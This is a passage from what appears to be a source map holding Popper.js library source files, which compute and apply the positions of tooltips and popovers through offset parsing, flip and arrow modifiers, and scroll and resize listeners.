*/\nexport default function update() {\n  // if popper is destroyed, don't perform any further update\n  if (this.state.isDestroyed) {\n    return;\n  }\n\n  let data = {\n    instance: this,\n    styles: {},\n    arrowStyles: {},\n    attributes: {},\n    flipped: false,\n    offsets: {},\n  };\n\n  // compute reference element offsets\n  data.offsets.reference = getReferenceOffsets(\n    this.state,\n    this.popper,\n    this.reference,\n    this.options.positionFixed\n  );\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  data.placement = computeAutoPlacement(\n    this.options.placement,\n    data.offsets.reference,\n    this.popper,\n    this.reference,\n    this.options.modifiers.flip.boundariesElement,\n    this.options.modifiers.flip.padding\n  );\n\n  // store the computed placement inside `originalPlacement`\n  data.originalPlacement = data.placement;\n\n  data.positionFixed = this.options.positionFixed;\n\n  // compute the popper offsets\n  data.offsets.popper = getPopperOffsets(\n    this.popper,\n    data.offsets.reference,\n    data.placement\n  );\n\n  data.offsets.popper.position = this.options.positionFixed\n    ? 'fixed'\n    : 'absolute';\n\n  // run the modifiers\n  data = runModifiers(this.modifiers, data);\n\n  // the first `update` will call `onCreate` callback\n  // the other ones will call `onUpdate` callback\n  if (!this.state.isCreated) {\n    this.state.isCreated = true;\n    this.options.onCreate(data);\n  } else {\n    this.options.onUpdate(data);\n  }\n}\n","/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nexport default function isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(\n    ({ name, enabled }) => enabled && name === modifierName\n  );\n}\n","/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nexport default function getSupportedPropertyName(property) {\n  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (let i = 0; i < prefixes.length; i++) {\n    const prefix = prefixes[i];\n    const toCheck = prefix ? `${prefix}${upperProp}` : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n","import isModifierEnabled from '../utils/isModifierEnabled';\nimport getSupportedPropertyName from '../utils/getSupportedPropertyName';\n\n/**\n * Destroys the popper.\n * @method\n * @memberof Popper\n */\nexport default function destroy() {\n  this.state.isDestroyed = true;\n\n  // touch DOM only if `applyStyle` modifier is enabled\n  if (isModifierEnabled(this.modifiers, 'applyStyle')) {\n    this.popper.removeAttribute('x-placement');\n    this.popper.style.position = '';\n    this.popper.style.top = '';\n    this.popper.style.left = '';\n    this.popper.style.right = '';\n    this.popper.style.bottom = '';\n    this.popper.style.willChange = '';\n    this.popper.style[getSupportedPropertyName('transform')] = '';\n  }\n\n  this.disableEventListeners();\n\n  // remove the popper if user explicity asked for the deletion on destroy\n  // do not use `remove` because IE11 doesn't support it\n  if (this.options.removeOnDestroy) {\n    this.popper.parentNode.removeChild(this.popper);\n  }\n  return this;\n}\n","/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nexport default function getWindow(element) {\n  const ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n","import getScrollParent from './getScrollParent';\nimport getWindow from './getWindow';\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  const isBody = scrollParent.nodeName === 'BODY';\n  const target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(\n      getScrollParent(target.parentNode),\n      event,\n      callback,\n      scrollParents\n    );\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function setupEventListeners(\n  reference,\n  options,\n  state,\n  updateBound\n) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  const scrollElement = getScrollParent(reference);\n  attachToScrollParents(\n    scrollElement,\n    'scroll',\n    state.updateBound,\n    state.scrollParents\n  );\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n","import setupEventListeners from '../utils/setupEventListeners';\n\n/**\n * It will add resize/scroll events and start recalculating\n * position of the popper element when they are triggered.\n * @method\n * @memberof Popper\n */\nexport default function enableEventListeners() {\n  if (!this.state.eventsEnabled) {\n    this.state = setupEventListeners(\n      this.reference,\n      this.options,\n      this.state,\n      this.scheduleUpdate\n    );\n  }\n}\n","import getWindow from './getWindow';\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(target => {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n","import removeEventListeners from '../utils/removeEventListeners';\n\n/**\n * It will remove resize/scroll events and won't recalculate popper position\n * when they are triggered. It also won't trigger `onUpdate` callback anymore,\n * unless you call `update` method manually.\n * @method\n * @memberof Popper\n */\nexport default function disableEventListeners() {\n  if (this.state.eventsEnabled) {\n    cancelAnimationFrame(this.scheduleUpdate);\n    this.state = removeEventListeners(this.reference, this.state);\n  }\n}\n","/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nexport default function isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n","import isNumeric from './isNumeric';\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setStyles(element, styles) {\n  Object.keys(styles).forEach(prop => {\n    let unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (\n      ['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !==\n        -1 &&\n      isNumeric(styles[prop])\n    ) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n","/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function(prop) {\n    const value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n","import find from './find';\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nexport default function isModifierRequired(\n  modifiers,\n  requestingName,\n  requestedName\n) {\n  const requesting = find(modifiers, ({ name }) => name === requestingName);\n\n  const isRequired =\n    !!requesting &&\n    modifiers.some(modifier => {\n      return (\n        modifier.name === requestedName &&\n        modifier.enabled &&\n        modifier.order < requesting.order\n      );\n    });\n\n  if (!isRequired) {\n    const requesting = `\\`${requestingName}\\``;\n    const requested = `\\`${requestedName}\\``;\n    console.warn(\n      `${requested} modifier is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`\n    );\n  }\n  return isRequired;\n}\n","/**\n * Get the opposite placement variation of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement variation\n * @returns {String} flipped placement variation\n */\nexport default function getOppositeVariation(variation) {\n  if (variation === 'end') {\n    return 'start';\n  } else if (variation === 'start') {\n    return 'end';\n  }\n  return variation;\n}\n","import placements from '../methods/placements';\n\n// Get rid of `auto` `auto-start` and `auto-end`\nconst validPlacements = placements.slice(3);\n\n/**\n * Given an initial placement, returns all the subsequent placements\n * clockwise (or counter-clockwise).\n *\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement - A valid placement (it accepts variations)\n * @argument {Boolean} counter - Set to true to walk the placements counterclockwise\n * @returns {Array} placements including their variations\n */\nexport default function clockwise(placement, counter = false) {\n  const index = validPlacements.indexOf(placement);\n  const arr = validPlacements\n    .slice(index + 1)\n    .concat(validPlacements.slice(0, index));\n  return counter ? arr.reverse() : arr;\n}\n","import isNumeric from '../utils/isNumeric';\nimport getClientRect from '../utils/getClientRect';\nimport find from '../utils/find';\n\n/**\n * Converts a string containing value + unit into a px value number\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} str - Value + unit string\n * @argument {String} measurement - `height` or `width`\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @returns {Number|String}\n * Value in pixels, or original string if no values were extracted\n */\nexport function toValue(str, measurement, popperOffsets, referenceOffsets) {\n  // separate value from unit\n  const split = str.match(/((?:\\-|\\+)?\\d*\\.?\\d*)(.*)/);\n  const value = +split[1];\n  const unit = split[2];\n\n  // If it's not a number it's an operator, I guess\n  if (!value) {\n    return str;\n  }\n\n  if (unit.indexOf('%') === 0) {\n    let element;\n    switch (unit) {\n      case '%p':\n        element = popperOffsets;\n        break;\n      case '%':\n      case '%r':\n      default:\n        element = referenceOffsets;\n    }\n\n    const rect = getClientRect(element);\n    return rect[measurement] / 100 * value;\n  } else if (unit === 'vh' || unit === 'vw') {\n    // if is a vh or vw, we calculate the size based on the viewport\n    let size;\n    if (unit === 'vh') {\n      size = Math.max(\n        document.documentElement.clientHeight,\n        window.innerHeight || 0\n      );\n    } else {\n      size = Math.max(\n        document.documentElement.clientWidth,\n        window.innerWidth || 0\n      );\n    }\n    return size / 100 * value;\n  } else {\n    // if is an explicit pixel unit, we get rid of the unit and keep the value\n    // if is an implicit unit, it's px, and we return just the value\n    return value;\n  }\n}\n\n/**\n * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} offset\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @argument {String} basePlacement\n * @returns {Array} a two cells array with x and y offsets in numbers\n */\nexport function parseOffset(\n  offset,\n  popperOffsets,\n  referenceOffsets,\n  basePlacement\n) {\n  const offsets = [0, 0];\n\n  // Use height if placement is left or right and index is 0 otherwise use width\n  // in this way the first offset will use an axis and the second one\n  // will use the other one\n  const useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;\n\n  // Split the offset string to obtain a list of values and operands\n  // The regex addresses values with the plus or minus sign in front (+10, -20, etc)\n  const fragments = offset.split(/(\\+|\\-)/).map(frag => frag.trim());\n\n  // Detect if the offset string contains a pair of values or a single one\n  // they could be separated by comma or space\n  const divider = fragments.indexOf(\n    find(fragments, frag => frag.search(/,|\\s/) !== -1)\n  );\n\n  if (fragments[divider] && fragments[divider].indexOf(',') === -1) {\n    console.warn(\n      'Offsets separated by white space(s) are deprecated, use a comma (,) instead.'\n    );\n  }\n\n  // If divider is found, we divide the list of values and operands to divide\n  // them by ofset X and Y.\n  const splitRegex = /\\s*,\\s*|\\s+/;\n  let ops = divider !== -1\n    ? [\n        fragments\n          .slice(0, divider)\n          .concat([fragments[divider].split(splitRegex)[0]]),\n        [fragments[divider].split(splitRegex)[1]].concat(\n          fragments.slice(divider + 1)\n        ),\n      ]\n    : [fragments];\n\n  // Convert the values with units to absolute pixels to allow our computations\n  ops = ops.map((op, index) => {\n    // Most of the units rely on the orientation of the popper\n    const measurement = (index === 1 ? !useHeight : useHeight)\n      ? 'height'\n      : 'width';\n    let mergeWithPrevious = false;\n    return (\n      op\n        // This aggregates any `+` or `-` sign that aren't considered operators\n        // e.g.: 10 + +5 => [10, +, +5]\n        .reduce((a, b) => {\n          if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {\n            a[a.length - 1] = b;\n            mergeWithPrevious = true;\n            return a;\n          } else if (mergeWithPrevious) {\n            a[a.length - 1] += b;\n            mergeWithPrevious = false;\n            return a;\n          } else {\n            return a.concat(b);\n          }\n        }, [])\n        // Here we convert the string values into number values (in px)\n        .map(str => toValue(str, measurement, popperOffsets, referenceOffsets))\n    );\n  });\n\n  // Loop trough the offsets arrays and execute the operations\n  ops.forEach((op, index) => {\n    op.forEach((frag, index2) => {\n      if (isNumeric(frag)) {\n        offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);\n      }\n    });\n  });\n  return offsets;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @argument {Number|String} options.offset=0\n * The offset value as described in the modifier description\n * @returns {Object} The data object, properly modified\n */\nexport default function offset(data, { offset }) {\n  const { placement, offsets: { popper, reference } } = data;\n  const basePlacement = placement.split('-')[0];\n\n  let offsets;\n  if (isNumeric(+offset)) {\n    offsets = [+offset, 0];\n  } else {\n    offsets = parseOffset(offset, popper, reference, basePlacement);\n  }\n\n  if (basePlacement === 'left') {\n    popper.top += offsets[0];\n    popper.left -= offsets[1];\n  } else if (basePlacement === 'right') {\n    popper.top += offsets[0];\n    popper.left += offsets[1];\n  } else if (basePlacement === 'top') {\n    popper.left += offsets[0];\n    popper.top -= offsets[1];\n  } else if (basePlacement === 'bottom') {\n    popper.left += offsets[0];\n    popper.top += offsets[1];\n  }\n\n  data.popper = popper;\n  return data;\n}\n","import isBrowser from './isBrowser';\n\nconst longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nlet timeoutDuration = 0;\nfor (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nexport function microtaskDebounce(fn) {\n  let called = false\n  return () => {\n    if (called) {\n      return\n    }\n    called = true\n    window.Promise.resolve().then(() => {\n      called = false\n      fn()\n    })\n  }\n}\n\nexport function taskDebounce(fn) {\n  let scheduled = false;\n  return () => {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(() => {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nconst supportsMicroTasks = isBrowser && window.Promise\n\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nexport default (supportsMicroTasks\n  ? microtaskDebounce\n  : taskDebounce);\n","import getClientRect from '../utils/getClientRect';\nimport getOuterSizes from '../utils/getOuterSizes';\nimport isModifierRequired from '../utils/isModifierRequired';\nimport getStyleComputedProperty from '../utils/getStyleComputedProperty';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function arrow(data, options) {\n  // arrow depends on keepTogether in order to work\n  if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {\n    return data;\n  }\n\n  let arrowElement = options.element;\n\n  // if arrowElement is a string, suppose it's a CSS selector\n  if (typeof arrowElement === 'string') {\n    arrowElement = data.instance.popper.querySelector(arrowElement);\n\n    // if arrowElement is not found, don't run the modifier\n    if (!arrowElement) {\n      return data;\n    }\n  } else {\n    // if the arrowElement isn't a query selector we must check that the\n    // provided DOM node is child of its popper node\n    if (!data.instance.popper.contains(arrowElement)) {\n      console.warn(\n        'WARNING: `arrow.element` must be child of its popper element!'\n      );\n      return data;\n    }\n  }\n\n  const placement = data.placement.split('-')[0];\n  const { popper, reference } = data.offsets;\n  const isVertical = ['left', 'right'].indexOf(placement) !== -1;\n\n  const len = isVertical ? 'height' : 'width';\n  const sideCapitalized = isVertical ? 'Top' : 'Left';\n  const side = sideCapitalized.toLowerCase();\n  const altSide = isVertical ? 'left' : 'top';\n  const opSide = isVertical ? 'bottom' : 'right';\n  const arrowElementSize = getOuterSizes(arrowElement)[len];\n\n  //\n  // extends keepTogether behavior making sure the popper and its\n  // reference have enough pixels in conjunction\n  //\n\n  // top/left side\n  if (reference[opSide] - arrowElementSize < popper[side]) {\n    data.offsets.popper[side] -=\n      popper[side] - (reference[opSide] - arrowElementSize);\n  }\n  // bottom/right side\n  if (reference[side] + arrowElementSize > popper[opSide]) {\n    data.offsets.popper[side] +=\n      reference[side] + arrowElementSize - popper[opSide];\n  }\n  data.offsets.popper = getClientRect(data.offsets.popper);\n\n  // compute center of the popper\n  const center = reference[side] + reference[len] / 2 - arrowElementSize / 2;\n\n  // Compute the sideValue using the updated popper offsets\n  // take popper margin in account because we don't have this info available\n  const css = getStyleComputedProperty(data.instance.popper);\n  const popperMarginSide = parseFloat(css[`margin${sideCapitalized}`], 10);\n  const popperBorderSide = parseFloat(css[`border${sideCapitalized}Width`], 10);\n  let sideValue =\n    center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;\n\n  // prevent arrowElement from being placed not contiguously to its popper\n  sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);\n\n  data.arrowElement = arrowElement;\n  data.offsets.arrow = {\n    [side]: Math.round(sideValue),\n    [altSide]: '', // make sure to unset any eventual altSide value from the DOM node\n  };\n\n  return data;\n}\n","import getSupportedPropertyName from '../utils/getSupportedPropertyName';\nimport find from '../utils/find';\nimport getOffsetParent from '../utils/getOffsetParent';\nimport getBoundingClientRect from '../utils/getBoundingClientRect';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeStyle(data, options) {\n  const { x, y } = options;\n  const { popper } = data.offsets;\n\n  // Remove this legacy support in Popper.js v2\n  const legacyGpuAccelerationOption = find(\n    data.instance.modifiers,\n    modifier => modifier.name === 'applyStyle'\n  ).gpuAcceleration;\n  if (legacyGpuAccelerationOption !== undefined) {\n    console.warn(\n      'WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!'\n    );\n  }\n  const gpuAcceleration =\n    legacyGpuAccelerationOption !== undefined\n      ? legacyGpuAccelerationOption\n      : options.gpuAcceleration;\n\n  const offsetParent = getOffsetParent(data.instance.popper);\n  const offsetParentRect = getBoundingClientRect(offsetParent);\n\n  // Styles\n  const styles = {\n    position: popper.position,\n  };\n\n  // Avoid blurry text by using full pixel integers.\n  // For pixel-perfect positioning, top/bottom prefers rounded\n  // values, while left/right prefers floored values.\n  const offsets = {\n    left: Math.floor(popper.left),\n    top: Math.round(popper.top),\n    bottom: Math.round(popper.bottom),\n    right: Math.floor(popper.right),\n  };\n\n  const sideA = x === 'bottom' ? 'top' : 'bottom';\n  const sideB = y === 'right' ? 'left' : 'right';\n\n  // if gpuAcceleration is set to `true` and transform is supported,\n  //  we use `translate3d` to apply the position to the popper we\n  // automatically use the supported prefixed version if needed\n  const prefixedProperty = getSupportedPropertyName('transform');\n\n  // now, let's make a step back and look at this code closely (wtf?)\n  // If the content of the popper grows once it's been positioned, it\n  // may happen that the popper gets misplaced because of the new content\n  // overflowing its reference element\n  // To avoid this problem, we provide two options (x and y), which allow\n  // the consumer to define the offset origin.\n  // If we position a popper on top of a reference element, we can set\n  // `x` to `top` to make the popper grow towards its top instead of\n  // its bottom.\n  let left, top;\n  if (sideA === 'bottom') {\n    // when offsetParent is <html> the positioning is relative to the bottom of the screen (excluding the scrollbar)\n    // and not the bottom of the html element\n    if (offsetParent.nodeName === 'HTML') {\n      top = -offsetParent.clientHeight + offsets.bottom;\n    } else {\n      top = -offsetParentRect.height + offsets.bottom;\n    }\n  } else {\n    top = offsets.top;\n  }\n  if (sideB === 'right') {\n    if (offsetParent.nodeName === 'HTML') {\n      left = -offsetParent.clientWidth + offsets.right;\n    } else {\n      left = -offsetParentRect.width + offsets.right;\n    }\n  } else {\n    left = offsets.left;\n  }\n  if (gpuAcceleration && prefixedProperty) {\n    styles[prefixedProperty] = `translate3d(${left}px, ${top}px, 0)`;\n    styles[sideA] = 0;\n    styles[sideB] = 0;\n    styles.willChange = 'transform';\n  } else {\n    // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties\n    const invertTop = sideA === 'bottom' ? -1 : 1;\n    const invertLeft = sideB === 'right' ? -1 : 1;\n    styles[sideA] = top * invertTop;\n    styles[sideB] = left * invertLeft;\n    styles.willChange = `${sideA}, ${sideB}`;\n  }\n\n  // Attributes\n  const attributes = {\n    'x-placement': data.placement,\n  };\n\n  // Update `data` attributes, styles and arrowStyles\n  data.attributes = { ...attributes, ...data.attributes };\n  data.styles = { ...styles, ...data.styles };\n  data.arrowStyles = { ...data.offsets.arrow, ...data.arrowStyles };\n\n  return data;\n}\n","export default typeof window !== 'undefined' && typeof document !== 'undefined';\n","import getOppositePlacement from '../utils/getOppositePlacement';\nimport getOppositeVariation from '../utils/getOppositeVariation';\nimport getPopperOffsets from '../utils/getPopperOffsets';\nimport runModifiers from '../utils/runModifiers';\nimport getBoundaries from '../utils/getBoundaries';\nimport isModifierEnabled from '../utils/isModifierEnabled';\nimport clockwise from '../utils/clockwise';\n\nconst BEHAVIORS = {\n  FLIP: 'flip',\n  CLOCKWISE: 'clockwise',\n  COUNTERCLOCKWISE: 'counterclockwise',\n};\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function flip(data, options) {\n  // if `inner` modifier is enabled, we can't use the `flip` modifier\n  if (isModifierEnabled(data.instance.modifiers, 'inner')) {\n    return data;\n  }\n\n  if (data.flipped && data.placement === data.originalPlacement) {\n    // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides\n    return data;\n  }\n\n  const boundaries = getBoundaries(\n    data.instance.popper,\n    data.instance.reference,\n    options.padding,\n    options.boundariesElement,\n    data.positionFixed\n  );\n\n  let placement = data.placement.split('-')[0];\n  let placementOpposite = getOppositePlacement(placement);\n  let variation = data.placement.split('-')[1] || '';\n\n  let flipOrder = [];\n\n  switch (options.behavior) {\n    case BEHAVIORS.FLIP:\n      flipOrder = [placement, placementOpposite];\n      break;\n    case BEHAVIORS.CLOCKWISE:\n      flipOrder = clockwise(placement);\n      break;\n    case BEHAVIORS.COUNTERCLOCKWISE:\n      flipOrder = clockwise(placement, true);\n      break;\n    default:\n      flipOrder = options.behavior;\n  }\n\n  flipOrder.forEach((step, index) => {\n    if (placement !== step || flipOrder.length === index + 1) {\n      return data;\n    }\n\n    placement = data.placement.split('-')[0];\n    placementOpposite = getOppositePlacement(placement);\n\n    const popperOffsets = data.offsets.popper;\n    const refOffsets = data.offsets.reference;\n\n    // using floor because the reference offsets may contain decimals we are not going to consider here\n    const floor = Math.floor;\n    const overlapsRef =\n      (placement === 'left' &&\n        floor(popperOffsets.right) > floor(refOffsets.left)) ||\n      (placement === 'right' &&\n        floor(popperOffsets.left) < floor(refOffsets.right)) ||\n      (placement === 'top' &&\n        floor(popperOffsets.bottom) > floor(refOffsets.top)) ||\n      (placement === 'bottom' &&\n        floor(popperOffsets.top) < floor(refOffsets.bottom));\n\n    const overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);\n    const overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);\n    const overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);\n    const overflowsBottom =\n      floor(popperOffsets.bottom) > floor(boundaries.bottom);\n\n    const overflowsBoundaries =\n      (placement === 'left' && overflowsLeft) ||\n      (placement === 'right' && overflowsRight) ||\n      (placement === 'top' && overflowsTop) ||\n      (placement === 'bottom' && overflowsBottom);\n\n    // flip the variation if required\n    const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n    const flippedVariation =\n      !!options.flipVariations &&\n      ((isVertical && variation === 'start' && overflowsLeft) ||\n        (isVertical && variation === 'end' && overflowsRight) ||\n        (!isVertical && variation === 'start' && overflowsTop) ||\n        (!isVertical && variation === 'end' && overflowsBottom));\n\n    if (overlapsRef || overflowsBoundaries || flippedVariation) {\n      // this boolean to detect any flip loop\n      data.flipped = true;\n\n      if (overlapsRef || overflowsBoundaries) {\n        placement = flipOrder[index + 1];\n      }\n\n      if (flippedVariation) {\n        variation = getOppositeVariation(variation);\n      }\n\n      data.placement = placement + (variation ? '-' + variation : '');\n\n      // this object contains `position`, we want to preserve it along with\n      // any additional property we may add in the future\n      data.offsets.popper = {\n        ...data.offsets.popper,\n        ...getPopperOffsets(\n          data.instance.popper,\n          data.offsets.reference,\n          data.placement\n        ),\n      };\n\n      data = runModifiers(data.instance.modifiers, data, 'flip');\n    }\n  });\n  return data;\n}\n","// Utils\nimport debounce from './utils/debounce';\nimport isFunction from './utils/isFunction';\n\n// Methods\nimport update from './methods/update';\nimport destroy from './methods/destroy';\nimport enableEventListeners from './methods/enableEventListeners';\nimport disableEventListeners from './methods/disableEventListeners';\nimport Defaults from './methods/defaults';\nimport placements from './methods/placements';\n\nexport default class Popper {\n  /**\n   * Creates a new Popper.js instance.\n   * @class Popper\n   * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper\n   * @param {HTMLElement} popper - The HTML element used as the popper\n   * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)\n   * @return {Object} instance - The generated Popper.js instance\n   */\n  constructor(reference, popper, options = {}) {\n    // make update() debounced, so that it only runs at most once-per-tick\n    this.update = debounce(this.update.bind(this));\n\n    // with {} we create a new object with the options inside it\n    this.options = { ...Popper.Defaults, ...options };\n\n    // init state\n    this.state = {\n      isDestroyed: false,\n      isCreated: false,\n      scrollParents: [],\n    };\n\n    // get reference and popper elements (allow jQuery wrappers)\n    this.reference = reference && reference.jquery ? reference[0] : reference;\n    this.popper = popper && popper.jquery ? popper[0] : popper;\n\n    // Deep merge modifiers options\n    this.options.modifiers = {};\n    Object.keys({\n      ...Popper.Defaults.modifiers,\n      ...options.modifiers,\n    }).forEach(name => {\n      this.options.modifiers[name] = {\n        // If it's a built-in modifier, use it as base\n        ...(Popper.Defaults.modifiers[name] || {}),\n        // If there are custom options, override and merge with default ones\n        ...(options.modifiers ? options.modifiers[name] : {}),\n      };\n    });\n\n    // Refactoring modifiers' list (Object => Array)\n    this.modifiers = Object.keys(this.options.modifiers)\n      .map(name => ({\n        name,\n        ...this.options.modifiers[name],\n      }))\n      // sort the modifiers by order\n      .sort((a, b) => a.order - b.order);\n\n    // modifiers have the ability to execute arbitrary code when Popper.js get inited\n    // such code is executed in the same order of its modifier\n    // they could add new properties to their options configuration\n    // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!\n    this.modifiers.forEach(modifierOptions => {\n      if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {\n        modifierOptions.onLoad(\n          this.reference,\n          this.popper,\n          this.options,\n          modifierOptions,\n          this.state\n        );\n      }\n    });\n\n    // fire the first update to position the popper in the right place\n    this.update();\n\n    const eventsEnabled = this.options.eventsEnabled;\n    if (eventsEnabled) {\n      // setup event listeners, they will take care of update the position in specific situations\n      this.enableEventListeners();\n    }\n\n    this.state.eventsEnabled = eventsEnabled;\n  }\n\n  // We can't use class properties because they don't get listed in the\n  // class prototype and break stuff like Sinon stubs\n  update() {\n    return update.call(this);\n  }\n  destroy() {\n    return destroy.call(this);\n  }\n  enableEventListeners() {\n    return enableEventListeners.call(this);\n  }\n  disableEventListeners() {\n    return disableEventListeners.call(this);\n  }\n\n  /**\n   * Schedules an update. It will run on the next UI update available.\n   * @method scheduleUpdate\n   * @memberof Popper\n   */\n  scheduleUpdate = () => requestAnimationFrame(this.update);\n\n  /**\n   * Collection of utilities useful when writing custom modifiers.\n   * Starting from version 1.7, this method is available only if you\n   * include `popper-utils.js` before `popper.js`.\n   *\n   * **DEPRECATION**: This way to access PopperUtils is deprecated\n   * and will be removed in v2! Use the PopperUtils module directly instead.\n   * Due to the high instability of the methods contained in Utils, we can't\n   * guarantee them to follow semver. Use them at your own risk!\n   * @static\n   * @private\n   * @type {Object}\n   * @deprecated since version 1.8\n   * @member Utils\n   * @memberof Popper\n   */\n  static Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;\n\n  static placements = placements;\n\n  static Defaults = Defaults;\n}\n\n/**\n * The `referenceObject` is an object that provides an interface compatible with Popper.js\n * and lets you use it as replacement of a real DOM node.<br />\n * You can use this method to position a popper relatively to a set of coordinates\n * in case you don't have a DOM node to use as reference.\n *\n * ```\n * new Popper(referenceObject, popperNode);\n * ```\n *\n * NB: This feature isn't supported in Internet Explorer 10.\n * @name referenceObject\n * @property {Function} data.getBoundingClientRect\n * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.\n * @property {number} data.clientWidth\n * An ES6 getter that will return the width of the virtual reference element.\n * @property {number} data.clientHeight\n * An ES6 getter that will return the height of the virtual reference element.\n */\n","import modifiers from '../modifiers/index';\n\n/**\n * Default options provided to Popper.js constructor.<br />\n * These can be overridden using the `options` argument of Popper.js.<br />\n * To override an option, simply pass an object with the same\n * structure of the `options` object, as the 3rd argument. For example:\n * ```\n * new Popper(ref, pop, {\n *   modifiers: {\n *     preventOverflow: { enabled: false }\n *   }\n * })\n * ```\n * @type {Object}\n * @static\n * @memberof Popper\n */\nexport default {\n  /**\n   * Popper's placement.\n   * @prop {Popper.placements} placement='bottom'\n   */\n  placement: 'bottom',\n\n  /**\n   * Set this to true if you want popper to position it self in 'fixed' mode\n   * @prop {Boolean} positionFixed=false\n   */\n  positionFixed: false,\n\n  /**\n   * Whether events (resize, scroll) are initially enabled.\n   * @prop 